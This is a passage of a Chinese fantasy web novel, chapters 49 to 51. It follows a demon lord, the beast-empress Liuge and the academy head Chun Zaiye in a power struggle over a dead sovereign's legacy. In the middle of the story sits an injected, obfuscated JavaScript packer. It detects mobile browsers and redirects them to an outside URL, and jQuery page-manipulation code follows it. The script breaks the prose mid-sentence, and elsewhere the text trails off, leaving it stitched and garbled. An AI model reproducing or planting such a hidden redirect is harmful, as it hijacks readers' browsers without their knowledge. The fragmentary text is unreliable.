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“有些人,虽然还在用着问情赠予的名字,恐怕却早已忘记了她的样子吧。”黑腹红翅雀有一张无愧于他血脉的伶俐的嘴,不过,愤怒灼烧着他的神智,影响了他的发挥。 黎狩哈哈大笑,“究竟是谁记不得问情了?” “小雀儿,你拼着入魔也要强行拓宽识海,不就是为了想起更多的问情么?” 春在野瞳孔骤然紧缩! “我没有堕魔!” 他厉声嘶吼着反驳道:“我与魔族不共戴天!那是学宫研究的秘法!” “那是谁给你提供的思路啊?” 黎狩话落摊开手,春在野惊疑不定,皱着眉一抬头,顿时宛如被一股巨力扼住了喉咙——只见黎狩手里,正握着一只漆黑修长的羽毛,那上面的气息他很是熟悉——乌鸫族! 耳膜,胸腔,脚下的土地,还有远远近近,层层叠叠交错着的晚枫建筑,天地间所有能共鸣处,无处不在和黎狩放肆的大笑共鸣。 魔尊像恶作剧成功的孩子一样,笑得前仰后合,恶意满满。 卷云还是舒云?春在野只觉得天旋地转,痛嚎一声抱头瘫倒在地,剧痛的识海已经让他失去了辨别的能力,他也失去了继续谈判的资本。 “你在暗中监视我……你在利用我收集信仰?!” “谁说的?”黎狩笑声不停,“我哪有这个能耐?” “当年问情自爆妖丹,妖丹碎成了四大块——我抢到一块,你冲进来,也抢到了一块。”黎狩已经不欲和他废话了,笑容收敛,手一挥,趁着春在野心神大震之际,将晚枫魔气化为锁链,直直刺向他的识海,妄图通过魔气锁链,直接读取他的记忆! “把问情的妖丹碎片,交给我! “铛——!”重剑划破魔气,从天而降,替七窍流血,倒地不起的春在野挡住了魔尊蓄力已久的一击。 郁柏一席黑衣,无声无息从天而降,鬼魅般轻飘飘落于剑柄之上,银紫双色的眼瞳冷冰冰的盯住黎狩的虚影。 下一刻,镇魔辟邪的凤凰火宛如暴雨天倾般倾泻而下,凤凰自火海后持剑掠出,只一剑,便劈碎了魔尊虚影周身的防护魔气! 郁柏提剑跟上,就着凤凰砍出的裂口,将黎狩虚影一剑斩为两半! 没了魔尊能量支撑,魔渊裂隙只在凤凰火里坚持了三息。 魔族是最喜欢反扑的,大部分魔族都秉持着就算打不赢,死也要拉个垫背的理念。 弥随音剑尖仍直指黎狩虚影,不敢有丝毫松懈。但出乎他意料的是,黎狩虚影眼不错珠的紧盯着郁柏,忽然咧唇一笑—— “我果然没有感觉错……我要的东西……在你,这里——” 49. 改天换日 “终于给我找到了……问情残丹。” 晚枫封印内,依托魔渊裂隙而存在的黎狩虚影被郁柏和弥随音两人联手击碎,力量回流,魔界第九重天内,黎狩缓缓睁开了眼,蓦的笑出了声,爽朗但突兀的大笑回荡在空荡阴森的魔庭大殿内,癫狂的渗人。 殿前一团漆黑的人形倒在地上,血流不止。 满身伤痕的舒云被魔尊突如其来的大笑吓得一抖,此时只恨自己的乌鸫血脉,恨自己怎么就有一双能听音辨音的耳朵。 翼族对音律升降,抑扬顿挫等方面向来敏感,乌鸫族擅模仿,更是翼族中听音辨音的翘楚。他虽地位不如春在野等神使或者三司司掌,面见问情的时间不多,可君臣相处二十多年,他很难不熟悉问情尊上的声音。 他不会听错的……刚刚那样的吐息呼气,胸喉共鸣,音律顿挫——魔尊明明就是在学问情尊上的笑声! 太诡异了,太诡异了……舒云惊惧至极,勉强蜷缩成一团,牙齿咔咔打颤,在魔尊毫不收敛的威压下脑子宛如一团浆糊,完全无法思考他处处模仿问情的原因。 候在殿外的新任魔尊神使,饕餮立刻伏地跪拜,贺喜道:“恭喜大人即将得偿所愿!” 魔庭和仙庭简直是两个极端,魔庭和雕梁画栋,处处光可照人的仙庭完全相反,魔庭内无一丝光亮,漆黑的宫殿和类似墨玉材质铺就的地板仿佛深渊巨口,能将投入魔庭的一切光亮吞噬殆尽。 黎狩也不点灯,就这黑暗放出神识,呼啸一圈粗略扫过了魔庭和魔界九重天。 “相柳和血亭君呢?”他随口问道。 “回大人,相柳在研究从此妖身上得到的神血丹。”饕餮恭敬应答,“仙尊又派至公道人下来了,血亭君在……那处,应付仙尊神使。” 那处,那处。 黎狩只觉得好笑,“哪处?刑微雨被吞噬那处,风满怀和茶清叙身死那处,还是我杀无支祁,肃清前朝余孽那处?” 好巧不巧,这三处居然是一个地方。 就算是饕餮这样行事肆意,无所顾忌的凶兽,也觉得那地方实在古怪的紧,神族和半神接连在那里陨落,魔界十个阴邪传闻九个都出自那处,晦气的没边了。 只是,这些避讳和膈应实在不该在黎狩面前表现出来。 饕餮立刻就要俯身告罪,但黎狩显然心情极好,抬手示意他安静就好。 “去告诉至公道人,我得到了一些他感兴趣的消息,若他拿的出能让我心动的交换,我也不介意亲自上仙界一趟。”虽被打散了一道虚影,但得到了自己想要的消息,总的来说不亏。 他笑盈盈的在舒云身边蹲下了身。 “你们倒是比我想象的还要疯,”他点评道:“尤其是春在野,不愧是问情一手提拔起来的孩子,就是有胆子,说来真是巧……哈哈,人未尝不可杀神这样的概念,还是我在妖界时告诉他的呢。” “但他错就错在不应该同时对神子和神女下手。”黎狩惋惜的摇摇头,“硬生生把竞争关系的神子神女逼成了统一战线……不知该说他厉害还是愚蠢。” 舒云的眼泪淌了满脸,和身下在漆黑地面上晕开的血混在一起,涕泪横流,好不狼狈。 “哭什么?”黎狩冷冷啧了一声,“你身为春在野的手下,怎么一点他的狠劲都没有学到?” “大人,我们该知道的已经全部知道了,他……该怎么处理?” 饕餮习以为常的眼神从舒云身上略过,停也没停一下,建议道:“不然交给臣吧,等真正出兵妖界的那一天,把他在阵前宰了祭旗,好让让妖族好好回忆一下我们魔军的威名。” “这可不行,这小鸟帮我魔族甚多,该是我魔界的座上宾。”黎狩蹲在舒云面前,检查牲口,查看货物成色一样,掰着他的下巴,漫不经心的思考着他的剩余价值。 摩挲着拇指之上扣着的扳指,黎狩没有瞳孔的一双血瞳,满含恶意的凝在郁柏身上,有了主意。 他吩咐道:“他带着的那些神血丹分两半,一半归入魔庭,一半送到相柳那里去研究,让他看看可不可以用妖皇神血打开妖界屏障……这只小鸟就送到相柳那里吧,既然他有炼制神血丹的经验,那就物尽其用好了。” “此事若能成,我们甚至可以不需要再维系和仙族的合作……以妖族现在一盘散沙的样子,魔族完全有能力独吞。”黎狩微微眯起眼,欲壑难填的贪婪从他的每一个毛孔里迸出。 舒云愣愣的看着,忽然学着他的样子,咳嗽了几声,随即大笑出声—— “你不可能成功的,黎狩——” 相柳擅毒,擅剖骨剖皮炼制邪器,毒物。 黎狩一句“物尽其用”,已经给舒云的未来打下了定数。 反正都要死了,恨意居然一下子冲破了恐惧的心,化为火焰,烧灼着他流血的伤口,还有剧痛的心。 “妖界,永远有下一个问情!你不会成功的!魔族不会得逞的!” “问情尊上百战百胜,功炳千秋——!” 饕餮领命起身,拖着舒云就向外走去,乌鸫族的血在漆黑的地上拖出了一道漫长的血痕,像一柄插入魔庭的血箭。 黎狩静静的听着,听着已经被拖出了很远,依然遥遥传来的癫狂大笑声,不知在想些什么。 “姐姐?”神子的声音打断了琉歌的思绪。 琉歌轻声叹了口气,解除了隐蔽身形的阵法,从远处踏风而起,缓缓浮至郁柏和弥随音身前。 “师尊,帮我把魔气清理干净吧。”她有些疲惫的笑笑。 琉歌的命令,弥随音没有不应的。 几乎和凤凰等身高的巨大长弓被他抬臂平举至眼前,炽烈的凤凰火自他身后双翼上爆开,点燃了整片天地后又从四面八方汇聚而来,在他指尖的弓弦上凝成数支双指粗细的利箭,随即,松手—— 尖利的破空声顿时响彻云霄! “什么声音!”封印阵法外,正在为了晚上的行动原地打坐休整,顺便等待春在野出来的内阁成员们被吓了一跳,纷纷睁开了眼睛。 画妖浮荣陡然蹙眉站起,回首望向封印阵法,只见破壳涅槃一般,一只体型恐怖的赤红巨鸟拖着羽扇般华美的尾羽,猛地撞碎了晚枫本就岌岌可危的封印屏障,鸣啸着扶摇而上,肆意在白雪青天间舒展羽翼! “浮长老,那是凤凰吗?!”拜圣教内阁成员之一的明六趣悚然一惊,不可置信道:“那是四仙兽之一的凤凰吗?!” “快后退!防御——快升起防御阵法!” 浮荣来不及回答明六趣的问题,立刻拽着他,带着所有内阁成员闪身后退——随着封印破裂,原本被禁锢在晚枫的魔尊魔气霎时成了脱缰的野马,决堤的洪水,向着四周汹涌的扑来了! 下一刻,无数红线自晚枫中央爆开,翱翔天际的凤凰同时一敛翅膀,向着晚枫中央,红线核心所在处直直俯冲而下! 红线化为铺天盖地的凤凰火的引线,将暴虐的,火海般磅礴的赤金色火焰引向各方各处,浮荣近距离直面凤凰火和妖皇红线的力量,恍惚间仿佛能看到妖皇微笑着将手覆盖上凤凰帝师的手背,引导着他将充斥晚枫的魔气涤荡一空的幻象。 幻象里的妖皇,嘴角噙着一抹温和笑意,线条圆和的眼微微下垂看向他们,宛如烈火淬炼的佛像,只一眼,就让晚枫内惊惧不定的众人全部安定了下来。 ……等等? 等等!她怎么知道那是妖皇的?!她明明没见过新任妖皇的脸! 浮华眉心骤然剧痛,她陡然惊醒,惊恐的抬手摸向自己的唇角,发现自己不知何时开始,竟然一直在笑。 脑内警铃大作,她的心骤然狂跳起来,怔然半响,这才想起来,她还得叫醒身边同伴,让他们别着了神女的道…… 她一回头,身后是数十具脑浆崩裂,骨肉碎了一地的尸体。 “姐姐,不藏了吗?”郁柏有些疑惑的歪了歪头,一抬手,丝丝缕缕的魔气就从他的指尖和指缝中溜了出去,燃烧着凤凰火的红线紧随其后,迅速追上了那缕魔气,一卷一勒,魔气顿时消散的无影无踪。 “没必要了,黎狩既然已经抓到了拜圣教内阁成员,那我的存在,肯定也已经被他知晓了。”琉歌脸色阴沉的可怕,她目光沉沉的扫过捂着头勉强站起的春在野,冷笑道:“成事不足,败事有余的一群蠢货。” 杀意,向着妖族百姓,向着她的子民的杀意。 郁柏缩了缩脖子默默向后退开半步,在心底腹诽道,傻子才会在这个时候去触琉歌的霉头。 他刚在心底说完,就有“傻子”扑扇着色泽殷红的华美双翼,越过他,轻轻牵住了琉歌的手。 “琉歌……”那傻子不知是看不懂眼色,还是恃宠而骄到了这种地步,笃定了琉歌不会迁怒他似的,这种时候还敢上去劝,“我们的计划本就是清理完魔气后回归帝宫神庭,眼下其实没有偏离我们的预期多少。” “别生气……”他声音低低的,带着一点恳求的柔软,掰开琉歌的手却又有几分强制安抚的意味在里面。 “我来杀他,”凤凰帝师捏了捏她松开的指尖,拇指在她掌心深刻的指甲印上揉了两圈,询问她的意见“或者你想亲自动手?” “我自己来。”熟悉的掌控感很好的安抚了暴怒的琉歌,她反握住了弥随音的手,对他有些歉意的一笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310262|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他倒是有些机智在身上。 郁柏静静的看着,不愿承认弥随音当真有几分了解琉歌,于是宁愿承认他智商尚可。 凭他对姐姐的了解,琉歌实在是善恶观很淡漠的一个人,无论是杀人放火还是作奸犯科,在她眼里都是实现目的的手段罢了——自己用得,别人自然也用得。 她所厌恶的是失控。 五界当然该知晓她的回归,但在她的剧本里,应该是琉歌登上妖皇神座,于圣坛上链接天道的时候才知晓,而不是像现在这样,因为春在野和拜圣教的愚蠢,让黎狩和梅若君提前得到了消息。 想到这里,郁柏忽然能明白,为何前世今生,琉歌总是吸引弥随音了。 他们是面对同一个问题的两种不同解法,他们面对相同的混乱,失控和孤独,一个沉入海底,执拗的愿意花十万年去寻找不变的永恒。 而另一个,看过这天地彻底的混乱失序后,致力于将自己变成永恒的丰碑。 春在野直面魔尊妖皇双神毫不收敛的威压,识海震荡的厉害,头晕目眩,摇摇欲坠。 郁柏看了她一眼,垂眸退远了些,将舞台留给了这对结怨以久的死敌。 “我的神血,味道好吗?”琉歌从弥随音腰间抽出长剑,剑尖斜斜指向眼底红血丝密布的春在野,率先笑着发难道:“叫你蠢货都是抬举你了……春在野,你就没有一刻好奇过吗?为何你派人来取血的时候,我从来没有反抗过?” “哎呀……你不会以为,你派那些脑子转不过弯的迂腐学士到我面前鬼扯些牺牲啊,奉献啊之类的胡话,就能让我心甘情愿的为妖界燃尽自我吧?”琉歌对此嗤之以鼻。 “……所以我看不起你,正因为你是这样暴戾恣睢,自私自利的性格,我才会建立拜圣教,助问情尊上回归的!” 他恢复视力后第一件事,就是看向浮荣等拜圣教内阁成员藏身的方向——白的雪,红的血,白的骨,红的肉,十几具碎尸混在一起,旁边甚至还有滚落的神血丹。 神族对神血的掌控程度远超春在野想象。 他本不明白琉歌是如何发现他们,又是如何做到无声无息间杀了那么多高阶妖修的,但琉歌刚刚特意提起了神血,那他还有什么不懂的呢? “问情尊上绝不会像你们俩这样,魔族大军压境,仙族虎视眈眈之时,一个闭门不出不问世事,一个跟圣坛都没法共鸣,还扔下帝宫和青丘,不知道跑到了哪里去!” “若不是你们让神庭看不到一点希望,我怎会建立拜圣教!” 反正活不了了,春在野神色灰败,干脆把想说的一股脑全倒了出来:“我只差一步啊,只差一步就成功了……只要召唤仪式成功,问情……问情就能回来了……” 出乎意料的,琉歌忽然一挑眉,和郁柏对视了一眼,“你第一次策划的就是召唤仪式吧,我说的对不对?那个圣坛上的阵法,你说是融合阵法,能让我和郁柏之一成为完全体妖皇……其实那是个召唤阵法吧。” “若我没有猜测,召唤的就是问情残魂吧。”琉歌完全是用肯定的语气在说疑问句。 重来一世,很多事情,前世匆匆经历只觉得迷雾纷纷,波谲云诡,今生再次复现一遍,才发觉了好多隐于水面之下的疑点和线索。 “哈哈,春在野,你当然召唤成功了——你的信仰忠诚而纯粹,神明也要为之动容。” “但很不幸,春在野,你太过小看台上的我了,问情残魂出现的一瞬间,便已经被我吞噬殆尽……从此世间,再无问情。” “我会让陨落的太阳在人们心底升起,但我绝不容许一尊太阳的傀儡,假借太阳的余威来挑战我的权威。” “……不可能,不可能!”春在野从低声质疑到嘶吼着否认,声音越大,心中越是绝望。 他最绝望的猜测直接被琉歌证实,崩溃的死死攥着染血的锁灵阵的阵盘,痛苦的蜷身跪地,口鼻七窍再次溢出鲜血:“那是问情啊!你怎么敢吞噬她的权柄……那是问情啊……” “醒醒吧,那才不是问情,只是你们这些顽固不化的叛党,对于问情妖皇的想象投影——春在野,顺便告诉你一个更不幸的消息吧,这种化虚为实,虚虚实实的手段,正是仙尊梅若君最擅长的手段。” “你们若是真的召唤出了一尊问情样貌的傀儡,妖界才是彻底完了。” 春在野下意识抗拒琉歌的话,抓着最后一点微末的希望反驳道:“不,不,我召唤回来的问情才不是傀儡,只要有能量和信仰……妖皇就是能回来的!学宫验证过了,信仰是力量的来源——她是信仰的结晶!那么多妖族还在信仰她,我还在信仰她啊!她不会消散!她不该消散!!” 50. 恨明月1 学宫闹出的动静太大,大到那些隐在暗处,窥伺着学宫的势力再也不敢继续沉住气了,神庭拿着妖皇神血和妖皇神谕,若真的动手要屠尽学宫内外,那也是完全合礼合法的! “惊神使这是何意,神庭又是何意!?”未眠拐杖重重往地上一敲,敲开了学宫隐藏的保护罩,勉强将学宫内圈纳入其中,抵抗神庭的散灵阵法。 学宫令春在野和学宫长老卷云都不在,薇背猴族长——学宫掌事未眠只好站了出来,带头拖延惊轶的行动,他现在也只能相信舒云所言不虚,春在野和卷云正在赶回来了路上了。 “我想,在质问别人之前,好歹得反思一下自己都做了什么吧?”惊轶神态冷冷,一副公事公办的语气,义正词严。 “既然你要解释,那就当着青丘所有妖族的面解释——为何重伤并扣押躬行司主事白水边,又为何伪造第四洲丹方,将真正的丹方留在学宫内,阻碍青丘炼丹防疫的进度?!” “神子和神女对学宫何其信任!”赤狐长老厉声呵斥道:“若不是神女大人将白水边养女颂颂一直带在身边,发觉了白水边失踪一事,恐怕神庭还要被你们这些狼子野心的叛党蒙蔽更久!” “尔等现在居然还敢质问神庭何意!” 看到未眠的脸色骤然灰败,众人已经在心底知晓惊轶说的没有错了。 眼看惊轶就要动手下令,忽然有一人越众而出,出声制止——“等一下!” 惊轶略微偏头,认出那人是政庭三司之一,负责起草政令和律法的审查司司掌,獬豸聆钧。 聆钧冲手持神谕的危天梭一行礼,算是见过妖皇,随即开口道:“惊神使,两位领主,伪造丹方拖延泣寒瘴的治疗进度确实罪大恶极,但我想,屠尽学宫众人这个惩罚是否过重了?” “对,对——”未眠精神陡然一阵,高声辩驳道:“我等并不知道是谁伪造了丹方,我们自从那天拿到丹方后就开始潜心炼丹,对外面的风云分毫不知啊!神女就一点不看学宫的功劳苦劳,要拿我们这些无辜的,一心搞学术的妖族开刀立威吗!?” “醉心学术?”惊轶嗤笑出声。他冷眼看着越来越多扎根学宫的世家大族派出长老或族长,站到了獬豸身后,沉默的质疑神庭的旨意。 赤琉璃近卫军和第四洲领命前来支援的众人,全部暗中握紧了武器。 在气氛即将点燃的边缘,风弄堂忽然低声笑了,开口缓和气氛道:“各位,大家都是为了妖界,何必搞得这样你死我活的呢?咱们今天就是来学宫讨个说法,讨回真正的丹方而已。” 凝滞的空气骤然开始流动。 陡然看到了生的希望,大起大落之下,学宫内有些年龄较小的小辈只觉得劫后余生,腿软的站不住,抹冷汗的手都在抖。 未眠虽未表现出来,却也是暗自松了口气。 早说嘛,他有些鄙夷的在心底嗤笑道,管你妖皇是神子还是神女,到底都需要我们世家大族的力量。 你惊轶就是世家之首,学宫里赤狐族的子弟占比可不小——你当真敢屠尽学宫,一下子得罪半数青丘世家吗!? “未眠族长,既然你们说自己潜心炼丹不问世事,那就把炼的丹都交出来吧,交给神庭统一调度……对了,还有真正的丹方。” “当然,当然……”春在野和卷云迟迟不到,未眠也有些撑不住了,神庭这么大阵仗也不是他一个小小学宫掌事可以抵抗的——就算春在野回来了,也不能降罪于他。 他苍老的,皮肤枯皱的手伸进储物袋里,眉目恭顺的俯首,递上了琉歌以神血为墨署了大名的那一份丹方。 “走了,神庭搞这么大阵仗,还以为能看一出好戏呢……”獬豸身后,十二虫巢女王之一的伊兰质无趣的撇撇嘴,一边跟身边的金戈吐槽,头顶蚁族短短的触须一动,一边给远在第五洲的虫母汇报消息。 黄金蟒族长,第二洲领主之一的金戈神情却依然凝重,一双蛇瞳暗暗凝在风弄堂身上。 “别急,”他压低了声音,低声制止了预备离去的伊兰质,“你还记得,包围学宫时,危天梭当时宣读的那段话吗?” 伊兰质动作一顿,神情忽然古怪了起来,“学宫……真的有自立成神的胆子?开玩笑的吧……” “用妖皇的威望和神庭的信誉开玩笑吗?” 风弄堂一整衣袖,落到未眠身前,恭敬的将丹方双手捧起,当着所有人的面展开,仔细检查后,对惊轶和危天梭点了点头。 “呼……呼——如此,惊轶神使满意了吗?赤琉璃近卫军可以撤了吗?”任谁经历了这一遭脸色都不会好看的,未眠也不例外,沉着脸,强撑着学宫的最后一份体面,下令逐客。 “未眠掌事急什么?”惊轶顿时笑了,“您这样急着赶我们,会让大家觉得你心里还有鬼——对不对啊,聆大人?” 没搞懂神庭还要做什么,聆钧保持默不作声。 “一码归一码。” 危天梭冷着一张脸,接着惊轶的话继续说了下去,“学宫就算再不敬妖皇,也不能把我刚刚宣读的神谕当耳旁风吧?” “我说——神庭已经查明,以春在野为首的学宫众人,趁神女年幼,肆意伤害神女,取其神血炼制能增强自身修为的神血丹,同时窃夺信仰之力,妄图夺取妖皇神位,自立成神!” “渎神伤神,制造混乱分裂妖界,阻碍神子神女登临神位的进程,将妖界拖入更深的混乱,给了仙魔两界插手妖界的可乘之机——这才是今日神庭要屠尽学宫众人的本因!” “胡说!一派胡言!”未眠余光扫过身后,他派出去清理证据的弟子已经回来了,对上未眠的视线,几不可查的冲他点了点头。 底气顿时回到了老者的身体里。 “学宫建立不过十几年,对妖界的贡献所有妖族都有目共睹——破解奴隶阵法,修撰妖修基础功法,还有传送阵,灵符,神族权柄……我们为了妖界,为了学宫,掏空家底和数万年积存的经验,从来都问心无愧!” 薇背猴族长脖子一梗,“学宫内炼药师本就不多,就算真有什么神血丹,那也和炼药师公会脱不了干系——神庭别是把炼药师公会干的事,扣到我们学宫头上来了吧!?” “未眠所言不假,凡事该讲证据。”这次说话的是政庭三司之一,负责监察判案的审查司司掌,苍耳族的苍穹族长。 獬豸感激的看了他一眼,点头应和道:“是的,若无证据,屠尽学宫这样的命令太过荒谬了,我不能相信出自神庭和妖皇之手,还请几位大人拿出令人心服口服的证据。” 惊轶等的就是这句话。 赤狐族已经激怒了琉歌,他想活,赤狐族想活,就必须拿出让琉歌满意的诚意,付出让琉歌消气的代价。 他必须做出权衡,想要保下自己的一条性命,还想要赤狐族强盛延续,那他就必须彻底站到妖皇身边,成为她最忠诚的座下鹰犬,从他昔日盟友的身上挖下足够的利益,奉到妖皇面前,以平息其怒火。 他看了一眼风弄堂和危天梭。 “诸位,神女大人以神血为这份丹方落款,就是等着这一天呢。”风弄堂率先冷笑一声,指尖轻轻划过丹方底部灿金色的“轩辕琉歌”四个大字,一滴神血被他小心翼翼的剥离出了丹方表面。 未眠这才发现,第四洲为何要用这么厚的纸写丹方——不仅不易破,它还吸水啊! 没等他弄明白风弄堂是什么意思,就见危天梭如法炮制,双指轻轻点上神谕,亦从中抽出了一滴灿金色的神血。 未眠心底咯噔一下。 他配合春在野炼了那么多神血丹,研究了那么久的神血,素来自诩是春在野之下第二了解神血的人——他终于明白了神庭的计划,也终于明白自己……不,是整个学宫,全部在劫难逃。 薇背猴族长脚步忽然发虚,可能是散灵阵终于起效了吧,他脚下一个踉跄向后倒去,被身后众弟子手忙脚乱的扶住。 “诸位,请看——”惊轶微笑着举起手腕,再次祭出了那枚镂空雕刻,中央镶嵌了神血凝珠的玉牌,他恭敬的将郁柏赐下的神血令牌凑近了危天梭的掌心—— 同根同源的两滴神血霎时颤动起来,发出了同频的嗡鸣声,属于神族的力量霎时迸发,笼罩在在场所有人心头! 下一刻,惊轶移开玉牌,又将神血靠近了风弄堂取出的那滴神血——同样的力量荡开,同样的嗡鸣声响起。 望着惊轶逼近的脚步和焊在唇角一样的假笑,未眠不管不顾的挣扎起来,挣脱弟子的搀扶,重重摔在地上时还在狼狈的后退:“别过来……别过来!” “惊轶,我们上个月还在神庭共同议事,赤狐族在学宫有那么多弟子!还有学宫背后的势力!你这样的野心家,谁敢收下你当狗!” “啧,”外围窥探消息的犬系妖族不满的嘟囔道:“真该立法禁止妖族学人族那一套骂人的话……犬族 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“所以呢?”琉歌忍俊不禁,莞尔一笑:“所以呢?你算什么东西,为何有你——还有你们的信仰,问情就能回来?” 银发在卷着碎雪的烈风中飞舞,随即被一只比素雪颜色更浅的手轻轻拢到耳后,妖皇唇边溢散的白气模糊了她的下半张脸,泪眼朦胧间,恍然间竟能让春在野幻视先皇降临。 妖皇是意志的集合,幻想凝聚的生命。 而问情是妖族对于妖皇的想象的源头。 她本就和问情有七分相似。 颂颂俯身行礼,斗胆上前来,贴近琉歌的肩背,指尖快速的勾勒了几下,再以乌木发簪固定,熟练而迅速给琉歌拾掇出了一个得体,牢固的挽发。 “我是她的第三神使,就算所有人都倒向了你,我也会践行问情的意志!”春在野声声泣血,呕血剖心般不顾一切划开心口的肌肤,以心头血祭出金鞭——那是问情在时,专门为他炼制的武器。 “问情那样坚守大道,护佑妖族之人,才是妖界承认的妖皇!你不过是趁问情沉睡,窃取其权柄的小人而已!”血染金鞭,春在野目眦欲裂,猛地扑向袖手而立,悬于半空中的琉歌! “新神无道,我自当迎旧神回归正位!” 银发妖皇袖手而立,动都懒得动一下。 她身后,心间迷雾尽散,找到了自己心之所向的凤凰,终于向所有人展现出了远古混沌神兽那可怕的力量——他甚至没有拔剑出鞘,只是以剑鞘猛地往前一戳,凤凰火恐怖的高温略过琉歌耳畔,和金鞭狠狠撞在一起! 翼族骨骼轻而中空,本就不适合近身战,一点细微的不足都会在近身时被无限放大——更何况,春在野和弥随音的战力差距,哪里是一点不足呢? “可笑……可笑。” 弥随音击退他后,也不补刀,反而背手持剑,退回琉歌身后,等着兴致勃勃的琉歌继续输出嘲讽。 “你说你要践行她的意志,那你可知,她愿不愿意让你践行她的意志啊?”她忽然的反问,整的春在野也是一愣。 “若你和问情,真有你说的那么君臣相得——春在野,你为何不知道神明可以操纵神血?我以为这是神族身上最简单,最容易了解的地方了吧?” 琉歌凉薄的声音比豆绿高原的寒风更可怕,春在野忽然觉得心口的伤口好疼,血汩汩的带着热量流出去,风钻子似的带着冷气灌进来。 他的心肺都要被冻住了。 “别跟我扯问情也不知道这种鬼话,她在马背上打天下,流过多少血?我不信她一丝一毫没有察觉到自己可以掌控神血。” “她为何对你从来缄口不提?”银发妖皇乘胜追击,“别在那里臆想问情的慈善心肠了,蠢货。” “你最好牢牢记住,她首先是神明,妖族的神明。” “钱,权,爱——她什么都没有留给你,她明知神血是隐形的炸弹,却对你缄口不言……明白了吗,你和惊轶,都是问情留给我立威的祭品,你最大的破绽,最大的死穴,是问情亲手递到我掌心的。” “你们若是乖顺,我也不介意得一些善待功臣的好名声,但你真的比我想的还要蠢一万倍——那也没办法了,我只能让你永远也说不出话来。” “至于问情……”琉歌言笑晏晏,“凭你们这些跳梁小丑,想要扯问情当挡箭牌,在她死后还玷污她的威名,损害妖界的根基,还不够格。” 51. 恨明月2 琉歌微微偏头看了眼太阳,又透过危天梭看了眼青丘那边的情况,心底有了估量——时间差不多了。 “我再不够格,也是问情钦封的第三神使,主宰学宫的学宫令!”春在野恨极了自己现在这副姿态——当年在魔尊手底救不下问情,现在也没法为了问情的回归扫清障碍。 他恨,恨极了自己的无能为力! 那怨毒的獠牙甚至咬上了记忆里问情纯白的幻影—— 为何不告诉我呢?他咬牙,在心底绝望的崩溃道,为何不相信我的能力呢?!为何你就这么狠心,能抛下我们,抛下你的理想,抛向我们无数妖族共同孕育的这片热土,离我们而去!? “学宫承问情的意志而诞生,又有我经营多年,你不可能杀光所有拜圣教成员的。只要还有一个拜圣教成员活着,还有一个人信仰问情——你就永远要活在恐惧之中!问情随时有机会回来,我们永远不会承认……” “我当然知道学宫不会承认我。”琉歌有些苦恼似的叹息一声,收敛了脸上的笑意,神情逐渐淡漠了下来。 “不过,我乃妖皇,不承认我的东西,就不该在妖界存在。” “你只是残神,半神,神女!” 春在野扳回一城一样包含恶意的笑了,“你才不是妖皇。杀了我,学宫也绝不会承认你……哈哈,你要如何和学宫背后所有的世家大族抗衡?就靠你背后的那只凤凰吗?” 弥随音略一皱眉,颠了颠掌心长剑,剑柄在手里转了半圈。显出一种蓄势待发,只等琉歌一声令下的压迫感来。 但琉歌没有动,于是弥随音也没有贸然出手。 “你说的对,青丘的世家大族的确很烦人,盘根错节,恩怨纠葛,利益绑定,牵一发而动全身,问情在位时都无从下手,我也不觉得自己可以在短时间内理顺青丘的这一团乱麻,真是讨厌。” 出乎春在野的意料,琉歌痛快的承认了自己的短板——没有根基,手里没人。 “可我也不需要理顺他们——我只需要找到一个线头,一个愿意跟我走的线头,这就够了。”银发妖皇再次勾唇一笑,只是眼角眉梢动也没动,只让人觉得冷意森森。 “至于不愿意跟着我的……” 不承认我的东西,就不该出现在妖界。 半身染血的学宫令想到了银发少女先前的豪言壮语,骤然发出一声短促而尖锐的嗤笑,嘲弄她的狂妄和天真,“你要屠尽学宫?!” “别开玩笑了。你究竟为何敢出此狂言?除非你学问情那样,带着自己的人滚出妖界,重新开辟自己的一块地方——我求之不得。” “学宫看似独立于神庭和政庭之外,但由问情尊上一手创建,是妖皇心腹,近臣中的近臣。”春在野没有子嗣,学宫就是他的子嗣。 哪怕春在野并不在意学宫的功绩和权势,但说起这些,那股绵延的优越感还是让他抬起了音调。 “一直都是神庭和政庭想尽了办法巴结我们,往我们这里塞人——我知道,惊轶肯定早就跟你表过衷心了——那你知道学宫里有多少赤狐子弟吗?” 反正都要死了,春在野冷笑着,不管不顾的继续输出,“惊轶就算再怎么忠于你,也不会将刀对向赤狐族的小辈,你若想拿这个考验他,那你注定要失望了。” 谁知,琉歌神情怜悯的注视着他,忽然摇摇头,发问道:“我确实不知道赤狐族在学宫占比多少——那你呢,你知道问情为何要建立学宫吗?” 他当然知道。 春在野怔然失神,陡然陷入那些或昏暗或明亮的回忆里——妖界那时刚刚独立,百废待兴。问情身边武将不少,文臣却几乎没有。 整个妖族都被排除在人族修仙体系外,除了有时间有远见的极少数妖族学会了识字,整个妖族的文盲率高的吓人。 尊上,他,惊轶,还有一些不固定的旁的人,他们经常彻夜通宵的讨论接下来怎么走,怎么办。 有时亦清从外面清理魔渊裂隙回来,会短暂顶上问情的位置,让彻夜被俗世琐事纠缠的问情回去休息。 春在野曾愤愤不平的问过,“那些世家大族为何都愿意跟着领主跑到领地上开荒2,不愿意留在青丘建设妖界呢?” 问情从不对自己的子民展露杀意,那是春在野第一次,也是唯一一次,看到问情身上那样重的郁气和杀气。 最后,尊上也没有说什么,只是摇摇头,笑了笑道:“他们暂时还都是功臣,我允许他们有自己的私心。” 后来春在野才明白,那些世家大族掌握着无数不外传的修炼秘籍和千万年积攒的修炼经验,问情那时忙着巩固边境去除魔渊裂隙,忙着为神庭政庭打下根基,没有时间跟他们扯皮,于是干脆建立了学宫。 理由有二——一是为了自己从头摸索,摸索出来的东西方便她推广到全妖界,二是……既然你们的游戏规则排斥我的加入,那我也不介意制定全新的权力枢纽,逼你们反过来求我让你们融入。 在妖界,唯有妖皇有资格定义游戏和权力。 ——现在,琉歌如法炮制,既然学宫和世家大族成了新的绊脚石,那就建立全新的权力枢纽。 